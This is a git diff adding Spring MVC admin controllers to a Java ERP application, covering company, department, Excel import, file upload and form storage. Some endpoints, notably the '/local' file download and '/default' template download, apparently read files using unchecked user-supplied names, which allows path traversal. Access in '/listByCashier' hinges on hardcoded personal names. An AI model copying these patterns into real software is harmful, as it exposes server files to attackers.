bidAreaService.exportNotFund(response);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
124
src/main/java/com/vverp/controller/admin/CommonController.java
Normal file
124
src/main/java/com/vverp/controller/admin/CommonController.java
Normal file
@@ -0,0 +1,124 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import cn.hutool.core.codec.Base64;
|
||||
import cn.hutool.core.convert.NumberChineseFormater;
|
||||
import com.vverp.base.Setting;
|
||||
import com.vverp.entity.SystemSetting;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.SystemSettingService;
|
||||
import com.vverp.util.ImageUtils;
|
||||
import com.vverp.util.PinyinUtils;
|
||||
import org.apache.commons.lang.StringUtils;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.servlet.ServletOutputStream;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.awt.*;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.math.BigDecimal;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
*/
|
||||
@Controller("adminCommonController")
|
||||
@RequestMapping("/admin/common")
|
||||
public class CommonController {
|
||||
|
||||
@Resource
|
||||
private SystemSettingService systemSettingService;
|
||||
|
||||
@RequestMapping("/selectTableField")
|
||||
public String selectTableField(ModelMap modelMap, String name, Boolean range, Boolean fieldControl, Boolean filter) {
|
||||
modelMap.put("table", name);
|
||||
modelMap.put("range", range);
|
||||
modelMap.put("fieldControl", fieldControl != null ? fieldControl : false);
|
||||
modelMap.put("filter", filter != null ? filter : true);
|
||||
return "common/dialog/selectTableField";
|
||||
}
|
||||
|
||||
@RequestMapping("/fieldControl")
|
||||
public String fieldControl(ModelMap modelMap, String name, Long roleId) {
|
||||
modelMap.put("table", name);
|
||||
modelMap.put("roleId", roleId);
|
||||
return "common/dialog/fieldControl";
|
||||
}
|
||||
|
||||
@RequestMapping("/selectInsideField")
|
||||
public String selectInsideField(ModelMap modelMap, String name, Boolean range) {
|
||||
modelMap.put("table", name);
|
||||
modelMap.put("range", range);
|
||||
return "common/dialog/selectInsideField";
|
||||
}
|
||||
|
||||
@RequestMapping("/formSetting")
|
||||
public String formSetting(ModelMap modelMap, String name, Integer index) {
|
||||
modelMap.put("name", name);
|
||||
modelMap.put("index", index);
|
||||
return "common/dialog/formSetting";
|
||||
}
|
||||
|
||||
@RequestMapping("/firstPinyin")
|
||||
@ResponseBody
|
||||
public RespData firstPinyin(String name) {
|
||||
try {
|
||||
return RespData.success(PinyinUtils.getFirstSpell(name).toUpperCase());
|
||||
} catch (Exception e) {
|
||||
return RespData.error("转换出错");
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/genDefaultLogo")
|
||||
@ResponseBody
|
||||
public RespData genDefaultLogo() {
|
||||
String logo = "/admin/common/defaultLogo";
|
||||
SystemSetting systemSetting = systemSettingService.findSingle();
|
||||
systemSetting.setLogo(logo);
|
||||
systemSettingService.update(systemSetting);
|
||||
Setting.load(systemSetting);
|
||||
return RespData.success(logo);
|
||||
}
|
||||
|
||||
@RequestMapping("/defaultLogo")
|
||||
public void defaultLogo(HttpServletResponse response) {
|
||||
try (ServletOutputStream outputStream = response.getOutputStream()) {
|
||||
response.setContentType("image/png");
|
||||
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||
String name = Setting.getData().getSiteName();
|
||||
if (StringUtils.isNotBlank(name)) {
|
||||
name = name.substring(0, 1);
|
||||
} else {
|
||||
name = "E";
|
||||
}
|
||||
ImageUtils.create(byteArrayOutputStream, name, new Color(0x409eff));
|
||||
outputStream.write(byteArrayOutputStream.toByteArray());
|
||||
outputStream.flush();
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/dialogArrangePlan")
|
||||
public String dialogArrangePlan(Long id, ModelMap modelMap) {
|
||||
modelMap.addAttribute("transportContractId", id);
|
||||
return "/common/dialog/arrangePlan";
|
||||
}
|
||||
|
||||
@RequestMapping("/numberChineseFormat")
|
||||
@ResponseBody
|
||||
public RespData numberChineseFormat(BigDecimal value) {
|
||||
return RespData.success(NumberChineseFormater.format(value.doubleValue(), true, true));
|
||||
}
|
||||
|
||||
@RequestMapping("/pageBox")
|
||||
public String pageBox(ModelMap modelMap, String url) {
|
||||
modelMap.addAttribute("url", new String(Base64.decode(url)));
|
||||
modelMap.addAttribute("systemSetting", systemSettingService.findSingle());
|
||||
return "/common/pageBox";
|
||||
}
|
||||
|
||||
}
|
||||
116
src/main/java/com/vverp/controller/admin/CompanyController.java
Normal file
116
src/main/java/com/vverp/controller/admin/CompanyController.java
Normal file
@@ -0,0 +1,116 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.entity.Admin;
|
||||
import com.vverp.entity.BaseEntity;
|
||||
import com.vverp.entity.Company;
|
||||
import com.vverp.entity.Department;
|
||||
import com.vverp.moli.util.Message;
|
||||
import com.vverp.moli.util.Order;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.AdminService;
|
||||
import com.vverp.service.CompanyService;
|
||||
import com.vverp.util.MapUtils;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.*;
|
||||
|
||||
@Controller("adminCompanyController")
|
||||
@RequestMapping("/admin/company")
|
||||
public class CompanyController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private CompanyService companyService;
|
||||
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
@RequestMapping(value = "/index")
|
||||
public String index(Long id, ModelMap modelMap) {
|
||||
return "/company/index";
|
||||
}
|
||||
|
||||
@RequestMapping("/list")
|
||||
public String list(Pageable pageable, ModelMap modelMap) {
|
||||
modelMap.addAttribute("page", companyService.findPage(pageable));
|
||||
return "/company/list";
|
||||
}
|
||||
|
||||
@RequestMapping("/add")
|
||||
public String add() {
|
||||
return "/company/add";
|
||||
}
|
||||
|
||||
@RequestMapping("/edit")
|
||||
public String edit(ModelMap modelMap, Long id) {
|
||||
Company company = companyService.find(id);
|
||||
modelMap.addAttribute("company", company);
|
||||
return "/company/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("/save")
|
||||
@ResponseBody
|
||||
public RespData save(Company company) {
|
||||
try {
|
||||
companyService.saveEntity(company);
|
||||
} catch (RuntimeException e) {
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/update")
|
||||
@ResponseBody
|
||||
public RespData update(Company company) {
|
||||
try {
|
||||
companyService.updateEntity(company);
|
||||
} catch (RuntimeException e) {
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/delete")
|
||||
@ResponseBody
|
||||
public Message list(Long[] ids) {
|
||||
try {
|
||||
companyService.deleteEntity(ids);
|
||||
} catch (RuntimeException e) {
|
||||
return Message.error(e.getMessage());
|
||||
}
|
||||
return SUCCESS;
|
||||
}
|
||||
|
||||
@RequestMapping("/simpleList")
|
||||
@ResponseBody
|
||||
public RespData simpleList() {
|
||||
return RespData.success(
|
||||
MapUtils.beansToMapList(companyService.findList(null, null, Collections.singletonList(Order.asc("id"))), "id", "name", "shortName")
|
||||
);
|
||||
}
|
||||
|
||||
@RequestMapping("/listByCashier")
|
||||
@ResponseBody
|
||||
public RespData listByCashier() {
|
||||
List<Company> companyList;
|
||||
Admin admin = adminService.getCurrent();
|
||||
Department department = admin.getDepartment();
|
||||
if (department.getName().equals("总经办") || admin.getName().equals("润亿") || admin.getName().equals("潘彦娜")) {
|
||||
companyList = companyService.findAll();
|
||||
} else {
|
||||
companyList = companyService.getListByCashier(admin.getName());
|
||||
}
|
||||
if (companyList == null) {
|
||||
companyList = new ArrayList<>();
|
||||
}
|
||||
companyList.sort(Comparator.comparing(BaseEntity::getId));
|
||||
return RespData.success(
|
||||
MapUtils.beansToMapList(companyList, "id", "name", "shortName")
|
||||
);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,116 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.dto.AdminQuery;
|
||||
import com.vverp.entity.Department;
|
||||
import com.vverp.moli.util.Order;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.AdminService;
|
||||
import com.vverp.service.DepartmentService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.Collections;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/3/11 9:34 上午
|
||||
*/
|
||||
@Controller("adminDepartmentController")
|
||||
@RequestMapping("/admin/department")
|
||||
public class DepartmentController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private DepartmentService departmentService;
|
||||
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
@RequestMapping("/list")
|
||||
public String list() {
|
||||
return "/department/list";
|
||||
}
|
||||
|
||||
@RequestMapping("/listAll")
|
||||
@ResponseBody
|
||||
public RespData listAll() {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("list", departmentService.findList(null, null, Collections.singletonList(Order.asc("sortFactor"))));
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/add")
|
||||
public String dialogAdd(ModelMap modelMap, String level, String parentId) {
|
||||
modelMap.addAttribute("level", level);
|
||||
modelMap.addAttribute("parentId", parentId);
|
||||
modelMap.addAttribute("adminList", adminService.findAll());
|
||||
return "/department/dialog/add";
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/edit")
|
||||
public String dialogEdit(ModelMap modelMap, Long id) {
|
||||
modelMap.addAttribute("department", departmentService.find(id));
|
||||
modelMap.addAttribute("adminList", adminService.findAll());
|
||||
return "/department/dialog/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("/save")
|
||||
@ResponseBody
|
||||
public RespData save(Department department) {
|
||||
try {
|
||||
departmentService.saveDepartment(department);
|
||||
} catch (RuntimeException e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/update")
|
||||
@ResponseBody
|
||||
public RespData update(Department department) {
|
||||
departmentService.updateDepartment(department);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/delete")
|
||||
@ResponseBody
|
||||
public RespData delete(Long id) {
|
||||
Department department = departmentService.find(id);
|
||||
try {
|
||||
departmentService.deleteDepartment(department);
|
||||
return RespData.success();
|
||||
} catch (RuntimeException e) {
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/departmentTree")
|
||||
@ResponseBody
|
||||
public RespData departmentTree() {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("list", departmentService.departmentTree());
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
@RequestMapping("/structure")
|
||||
public String structure(ModelMap modelMap, String departmentChain, Long treeId, Pageable pageable) {
|
||||
AdminQuery query = new AdminQuery();
|
||||
modelMap.addAttribute("page", adminService.findPageView(pageable, query));
|
||||
modelMap.addAttribute("departmentChain", departmentChain);
|
||||
modelMap.addAttribute("treeId", treeId);
|
||||
return "/department/structure";
|
||||
}
|
||||
|
||||
@RequestMapping("/selectTree")
|
||||
@ResponseBody
|
||||
public RespData selectTree() {
|
||||
return RespData.success(departmentService.departmentTree());
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,92 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.entity.Diameter;
|
||||
import com.vverp.moli.util.Message;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.DiameterService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.multipart.MultipartFile;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
|
||||
@RequestMapping("admin/diameter")
|
||||
@Controller("adminDiameter")
|
||||
public class DiameterController extends BaseController{
|
||||
|
||||
@Resource
|
||||
private DiameterService diameterService;
|
||||
|
||||
@RequestMapping("list")
|
||||
public String list(ModelMap modelMap, Pageable pageable){
|
||||
Page<Diameter> page = diameterService.findPage(pageable);
|
||||
modelMap.addAttribute("page",page);
|
||||
return "diameter/list";
|
||||
}
|
||||
|
||||
@RequestMapping("add")
|
||||
public String add(){
|
||||
return "diameter/add";
|
||||
}
|
||||
|
||||
@RequestMapping("edit")
|
||||
public String edit(ModelMap modelMap, Long id){
|
||||
Diameter diameter = diameterService.find(id);
|
||||
modelMap.addAttribute("diameter",diameter);
|
||||
return "diameter/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("save")
|
||||
@ResponseBody
|
||||
public RespData save(Diameter diameter){
|
||||
if (diameterService.findByAttribute("name",diameter.getName()) != null){
|
||||
return RespData.error(diameter.getName()+"已存在");
|
||||
}
|
||||
diameterService.save(diameter);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("update")
|
||||
@ResponseBody
|
||||
public RespData update(Diameter diameter){
|
||||
Diameter source = diameterService.findByAttribute("name",diameter.getName());
|
||||
if (source != null && !source.getId().equals(diameter.getId())){
|
||||
return RespData.error(diameter.getName()+"已存在");
|
||||
}
|
||||
diameterService.update(diameter);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("delete")
|
||||
@ResponseBody
|
||||
public Message delete(Long ids){
|
||||
diameterService.delete(ids);
|
||||
return Message.success("删除成功");
|
||||
}
|
||||
|
||||
/**
|
||||
* 导入模板
|
||||
*/
|
||||
@RequestMapping("/exportTemplate")
|
||||
public void exportTemplate(HttpServletResponse response) {
|
||||
diameterService.exportTemplate(response);
|
||||
}
|
||||
|
||||
@RequestMapping("import")
|
||||
@ResponseBody
|
||||
public RespData importExcel(MultipartFile file) {
|
||||
try {
|
||||
diameterService.importExcel(file);
|
||||
return RespData.success();
|
||||
} catch (RuntimeException e) {
|
||||
return RespData.error(e.getMessage());
|
||||
} catch (Exception e) {
|
||||
return RespData.error("导入失败");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.entity.EndFace;
|
||||
import com.vverp.entity.SizeStandard;
|
||||
import com.vverp.moli.util.Message;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.EndFaceService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.multipart.MultipartFile;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
|
||||
@RequestMapping("admin/endFace")
|
||||
@Controller("adminEndFace")
|
||||
public class EndFaceController extends BaseController{
|
||||
|
||||
@Resource
|
||||
private EndFaceService endFaceService;
|
||||
|
||||
|
||||
@RequestMapping("list")
|
||||
public String list(ModelMap modelMap, Pageable pageable){
|
||||
Page<EndFace> page = endFaceService.findPage(pageable);
|
||||
modelMap.addAttribute("page",page);
|
||||
return "endFace/list";
|
||||
}
|
||||
|
||||
@RequestMapping("add")
|
||||
public String add(){
|
||||
return "endFace/add";
|
||||
}
|
||||
|
||||
@RequestMapping("edit")
|
||||
public String edit(ModelMap modelMap, Long id){
|
||||
EndFace endFace = endFaceService.find(id);
|
||||
modelMap.addAttribute("endFace",endFace);
|
||||
return "endFace/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("save")
|
||||
@ResponseBody
|
||||
public RespData save(EndFace endFace){
|
||||
if (endFaceService.findByAttribute("name",endFace.getName()) != null){
|
||||
return RespData.error(endFace.getName()+"已存在");
|
||||
}
|
||||
endFaceService.save(endFace);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("update")
|
||||
@ResponseBody
|
||||
public RespData update(EndFace endFace){
|
||||
EndFace source = endFaceService.findByAttribute("name",endFace.getName());
|
||||
if (source != null && !source.getId().equals(endFace.getId())){
|
||||
return RespData.error(endFace.getName()+"已存在");
|
||||
}
|
||||
endFaceService.update(endFace);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("delete")
|
||||
@ResponseBody
|
||||
public Message delete(Long ids){
|
||||
endFaceService.delete(ids);
|
||||
return Message.success("删除成功");
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* 导入模板
|
||||
*/
|
||||
@RequestMapping("/exportTemplate")
|
||||
public void exportTemplate(HttpServletResponse response) {
|
||||
endFaceService.exportTemplate(response);
|
||||
}
|
||||
|
||||
@RequestMapping("import")
|
||||
@ResponseBody
|
||||
public RespData importExcel(MultipartFile file) {
|
||||
try {
|
||||
endFaceService.importExcel(file);
|
||||
return RespData.success();
|
||||
} catch (RuntimeException e) {
|
||||
return RespData.error(e.getMessage());
|
||||
} catch (Exception e) {
|
||||
return RespData.error("导入失败");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/4/2 3:02 下午
|
||||
*/
|
||||
@Controller("adminExcelController")
|
||||
@RequestMapping("/admin/excel")
|
||||
public class ExcelController {
|
||||
|
||||
@RequestMapping("/dialog/import")
|
||||
public String dialogImport(String url, String name, String template, ModelMap modelMap) {
|
||||
modelMap.addAttribute("url", url);
|
||||
modelMap.addAttribute("name", name);
|
||||
modelMap.addAttribute("template", template);
|
||||
return "/common/dialog/import";
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/defaultImport")
|
||||
public String dialogDefaultImport(String id, String name, ModelMap modelMap) {
|
||||
modelMap.addAttribute("name", name);
|
||||
modelMap.addAttribute("url", id + "/import.html");
|
||||
modelMap.addAttribute("template", id + "/exportTemplate.html");
|
||||
return "/common/dialog/import";
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/uploadTemplate")
|
||||
public String dialogUploadTemplate(String name, String template, ModelMap modelMap) {
|
||||
modelMap.addAttribute("url", "excelTemplate/upload.html?name=" + name);
|
||||
modelMap.addAttribute("template", template);
|
||||
return "/common/dialog/uploadTemplate";
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.ExcelTemplateService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.util.ResourceUtils;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.multipart.MultipartFile;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.servlet.ServletOutputStream;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.FileNotFoundException;
|
||||
import java.io.IOException;
|
||||
import java.util.regex.Matcher;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/4/8 2:47 下午
|
||||
*/
|
||||
@Controller("adminExcelTemplateController")
|
||||
@RequestMapping("/admin/excelTemplate")
|
||||
public class ExcelTemplateController {
|
||||
|
||||
@Resource
|
||||
private ExcelTemplateService excelTemplateService;
|
||||
|
||||
@RequestMapping("/upload")
|
||||
@ResponseBody
|
||||
public RespData upload(String name, MultipartFile file) {
|
||||
try {
|
||||
excelTemplateService.upload(name, file);
|
||||
return RespData.success();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error("上传失败");
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/default")
|
||||
public void defaultTemplate(String name, HttpServletResponse response) {
|
||||
try {
|
||||
File file = ResourceUtils.getFile(("classpath:excel/template/" + name).replaceAll("/", Matcher.quoteReplacement(File.separator)));
|
||||
try (FileInputStream fileInputStream = new FileInputStream(file);
|
||||
ServletOutputStream servletOutputStream = response.getOutputStream()) {
|
||||
response.setHeader("Content-Disposition", "attachment;filename=" + file.getName());
|
||||
byte[] bytes = new byte[fileInputStream.available()];
|
||||
fileInputStream.read(bytes);
|
||||
servletOutputStream.write(bytes);
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
} catch (FileNotFoundException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,85 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.alibaba.fastjson.JSONObject;
|
||||
import com.vverp.annotation.Module;
|
||||
import com.vverp.entity.Admin;
|
||||
import com.vverp.entity.BaseEntity;
|
||||
import com.vverp.entity.ExtraField;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.AdminService;
|
||||
import com.vverp.service.ExtraFieldService;
|
||||
import org.apache.commons.lang.StringUtils;
|
||||
import org.springframework.beans.factory.config.BeanDefinition;
|
||||
import org.springframework.context.annotation.ClassPathScanningCandidateComponentProvider;
|
||||
import org.springframework.core.type.filter.AssignableTypeFilter;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.*;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/3/11 8:38 下午
|
||||
*/
|
||||
@Controller("adminExtraFieldController")
|
||||
@RequestMapping("/admin/extraField")
|
||||
public class ExtraFieldController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private ExtraFieldService extraFieldService;
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
@RequestMapping("/list")
|
||||
public String list(ModelMap modelMap) throws ClassNotFoundException {
|
||||
ClassPathScanningCandidateComponentProvider provider = new ClassPathScanningCandidateComponentProvider(false);
|
||||
provider.addIncludeFilter(new AssignableTypeFilter(BaseEntity.class));
|
||||
Set<BeanDefinition> components = provider.findCandidateComponents("com.vverp.entity");
|
||||
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
for (BeanDefinition component : components) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
Class cls = Class.forName(component.getBeanClassName());
|
||||
if (!cls.getName().equals("com.vverp.entity.PurchaseApplyOrderItem")
|
||||
&& !cls.getName().equals("com.vverp.entity.Supplier")
|
||||
&& !cls.getName().equals("com.vverp.entity.MaterialOrderItem")){
|
||||
continue;
|
||||
}
|
||||
String key = cls.getSimpleName();
|
||||
key = key.substring(0, 1).toLowerCase() + key.substring(1);
|
||||
Module module = (Module) cls.getAnnotation(Module.class);
|
||||
if (module == null || StringUtils.isBlank(module.name())) {
|
||||
continue;
|
||||
}
|
||||
|
||||
map.put("key", key);
|
||||
map.put("name", module.name());
|
||||
list.add(map);
|
||||
}
|
||||
|
||||
modelMap.addAttribute("list", list);
|
||||
return "extraField/list";
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/edit")
|
||||
public String dialogEdit(ModelMap modelMap, String space, String title) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
modelMap.addAttribute("space", space);
|
||||
modelMap.addAttribute("title", title);
|
||||
modelMap.addAttribute("list", extraFieldService.initData(space,admin.getNowProgress()));
|
||||
return "/extraField/dialog/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("/extend")
|
||||
@ResponseBody
|
||||
public RespData extend(String extraFields, String space) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
List<ExtraField> extraFieldList = JSONObject.parseArray(extraFields, ExtraField.class);
|
||||
extraFieldService.update(extraFieldList, space,admin.getNowProgress());
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.base.Setting;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.UploadFileService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.multipart.MultipartFile;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.servlet.ServletOutputStream;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.*;
|
||||
|
||||
/**
|
||||
* 文件上传
|
||||
*/
|
||||
@Controller("adminFileUploadController")
|
||||
@CrossOrigin
|
||||
@RequestMapping(value = "/admin/fileUpload")
|
||||
public class FileUploadController {
|
||||
|
||||
@Resource
|
||||
private UploadFileService uploadFileService;
|
||||
|
||||
@RequestMapping(value = "/upload")
|
||||
@ResponseBody
|
||||
public RespData upload(MultipartFile file) {
|
||||
if (file == null) {
|
||||
return RespData.error("文件不存在");
|
||||
}
|
||||
try {
|
||||
String url = uploadFileService.ossUpload(file);
|
||||
return RespData.success(url);
|
||||
} catch (Exception e) {
|
||||
return RespData.error("上传图片失败");
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/localUpload")
|
||||
@ResponseBody
|
||||
public RespData localUpload(MultipartFile file) {
|
||||
if (file == null) {
|
||||
return RespData.error("文件不存在");
|
||||
}
|
||||
try {
|
||||
String url = uploadFileService.localUpload(file);
|
||||
return RespData.success(url);
|
||||
} catch (Exception e) {
|
||||
return RespData.error("上传图片失败");
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/local")
|
||||
public void local(String filename, HttpServletResponse response) {
|
||||
File file = new File(Setting.getData().getLocalStoragePath(), filename);
|
||||
if (file.exists()) {
|
||||
try (FileInputStream fileInputStream = new FileInputStream(file);
|
||||
ServletOutputStream outputStream = response.getOutputStream()) {
|
||||
byte[] bytes = new byte[fileInputStream.available()];
|
||||
fileInputStream.read(bytes);
|
||||
outputStream.write(bytes);
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.entity.FormStorage;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.FormStorageService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
*/
|
||||
@Controller
|
||||
@RequestMapping("/admin/formStorage")
|
||||
public class FormStorageController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private FormStorageService formStorageService;
|
||||
|
||||
@RequestMapping("/getByName")
|
||||
@ResponseBody
|
||||
public RespData getColumns(String name) {
|
||||
FormStorage formStorage = formStorageService.findByName(name);
|
||||
Map<String, Object> data = new HashMap<>();
|
||||
data.put("value", formStorage);
|
||||
return RespData.success(data);
|
||||
}
|
||||
|
||||
@RequestMapping("/save")
|
||||
@ResponseBody
|
||||
public RespData save(String name, String content) {
|
||||
try {
|
||||
FormStorage formStorage = formStorageService.findByName(name);
|
||||
if (formStorage == null) {
|
||||
formStorage = new FormStorage();
|
||||
formStorage.setName(name);
|
||||
formStorage.setContent(content);
|
||||
formStorageService.save(formStorage);
|
||||
} else {
|
||||
formStorage.setContent(content);
|
||||
formStorageService.update(formStorage);
|
||||
}
|
||||
|
||||
return RespData.success();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error("出错了");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.entity.GenerateSetting;
|
||||
import com.vverp.moli.util.Message;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.GenerateSettingService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2021-07-02 14:09
|
||||
*/
|
||||
@Controller
